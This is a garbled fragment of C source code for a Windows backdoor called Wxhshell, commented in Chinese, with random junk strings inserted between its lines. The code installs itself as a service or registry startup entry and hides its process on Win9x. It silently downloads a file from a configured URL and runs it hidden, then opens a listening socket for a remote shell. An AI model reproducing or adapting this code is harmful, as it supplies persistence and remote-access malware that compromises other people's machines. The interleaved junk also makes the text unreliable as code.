$ '6zD`Q if(strstr(procName,"services")) return 1; // 以服务启动 %d#h<e|,. -kz9KGkPb+ return 0; // 注册表启动 U}2b{ } &;]KntxB R-V4Ju[: // 主模块 I8:A] int StartWxhshell(LPSTR lpCmdLine) yvp$s { U sS"WflB SOCKET wsl; ~y.t amNW BOOL val=TRUE; >Kjl>bq int port=0; TcM;6h` struct sockaddr_in door; zLda+ + =N#6#1 if(wscfg.ws_autoins) Install(); "MNI_C#{ sV`!4
u7%} port=atoi(lpCmdLine); S)$iHBx{ E\Et,l#|LY if(port<=0) port=wscfg.ws_port; oi:!YVc 6wY6*R WSADATA data; )eaEc9o> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :sL?jGk\ 4V9S~^v| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [Y_CRxa\u setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hiQ #< door.sin_family = AF_INET; L6=`x a, door.sin_addr.s_addr = inet_addr("127.0.0.1"); ydm2'aV door.sin_port = htons(port); U+FI^Xrt# _8I\! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mo~zq. closesocket(wsl); -)LiL return 1; o1zKns? } nqMXE82 qRnD{g|{1 if(listen(wsl,2) == INVALID_SOCKET) { @nOj6b closesocket(wsl); vlS+UFH0 return 1; O4.`N?Xq } 9`X}G` Wxhshell(wsl); b>Em~NMu_ WSACleanup(); /_l$h_{DH o!-kwtw`l return 0; cA8A^Iv:0 6A23H7 } C_ 4(-OWq JULns#tx} // 以NT服务方式启动 {\62c;. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p]E \!/ { jC}2>_#m( DWORD status = 0; me@xl} DWORD specificError = 0xfffffff; sm?V%NX& *'ffMnSZ serviceStatus.dwServiceType = SERVICE_WIN32; wXKg^%t\ serviceStatus.dwCurrentState = SERVICE_START_PENDING; k ^(RSu< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d$T856 serviceStatus.dwWin32ExitCode = 0; 0hr4}FL8 serviceStatus.dwServiceSpecificExitCode = 0; b[s=FH]#N serviceStatus.dwCheckPoint = 0; >#Ue`)d`aY serviceStatus.dwWaitHint = 0; u]uZc~T 0 F-db hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &6q67 if (hServiceStatusHandle==0) return; Rw!wfh_+ J[ 7Sf^r status = GetLastError(); p38RgEf if (status!=NO_ERROR) UsQh+W"? { UrJrvx serviceStatus.dwCurrentState = SERVICE_STOPPED; dp DPSI serviceStatus.dwCheckPoint = 0;
uoi~JF serviceStatus.dwWaitHint = 0; * ,#SwZ serviceStatus.dwWin32ExitCode = status; =Hf`yH\# serviceStatus.dwServiceSpecificExitCode = specificError; M>_
U9g SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lh
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return; G'IRqO*] } wx[Y2lUh6 uP NZ^lM serviceStatus.dwCurrentState = SERVICE_RUNNING; # ;3v4P serviceStatus.dwCheckPoint = 0; ki=]#]rg serviceStatus.dwWaitHint = 0; *1`q
x+1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F*TkQ\y } k!)Pl,nJ w)7 s]Ld // 处理NT服务事件,比如:启动、停止 9[,+4&wX7 VOID WINAPI NTServiceHandler(DWORD fdwControl) |$+
xVi8 { 8ZL9>"%l switch(fdwControl) X(M|T]`b: { G{]tB w case SERVICE_CONTROL_STOP: gPqdl6#c serviceStatus.dwWin32ExitCode = 0; =s/UF _JN serviceStatus.dwCurrentState = SERVICE_STOPPED; we}G%09L serviceStatus.dwCheckPoint = 0; N SkIzaNY serviceStatus.dwWaitHint = 0; uG,*m'x'] { |kK_B
:K SetServiceStatus(hServiceStatusHandle, &serviceStatus); 26B+qXEt } 94Q?)0W$ return; q)Qg'l^f case SERVICE_CONTROL_PAUSE: *wp>a?sG\ serviceStatus.dwCurrentState = SERVICE_PAUSED; _Y _v& break; "rU
2g case SERVICE_CONTROL_CONTINUE: #,B+&SK{ serviceStatus.dwCurrentState = SERVICE_RUNNING; k.<OO break; S2<evs1d case SERVICE_CONTROL_INTERROGATE: BBDt^$ break; !(nFq9~~Q }; A3eus SetServiceStatus(hServiceStatusHandle, &serviceStatus); b`&
:` } RcpKv;= iB ,,+iPGa< // 标准应用程序主函数 Wi<g int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yc p<N>) { P TMJ.; v\3$$T) // 获取操作系统版本 ul^VGW>i OsIsNt=GetOsVer(); #M@Ki1 GetModuleFileName(NULL,ExeFile,MAX_PATH); |* v w( @ebSM#F? // 从命令行安装 uq\[^ if(strpbrk(lpCmdLine,"iI")) Install(); L =9^Y/8Q &e)V!o@wJV // 下载执行文件 P&sYS<9q if(wscfg.ws_downexe) { B2T=O % if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [DD#YL\P WinExec(wscfg.ws_filenam,SW_HIDE); lcfX(~/m^ } #,CK;h9jy! "|nh=!L if(!OsIsNt) { (8Q*NZ // 如果时win9x,隐藏进程并且设置为注册表启动 Zonr/sA ~ HideProc(); IutU~%wv StartWxhshell(lpCmdLine); /zg|I?$>Z4 } L['g')g. else * _@t$W if(StartFromService()) 'dJ(x // 以服务方式启动 0 HPqoen$ StartServiceCtrlDispatcher(DispatchTable); bwyj[:6l else $A^OP{ // 普通方式启动 |3P dlIbO StartWxhshell(lpCmdLine); 0P l>k'9 7p_B?r return 0; ^,{ r[} }
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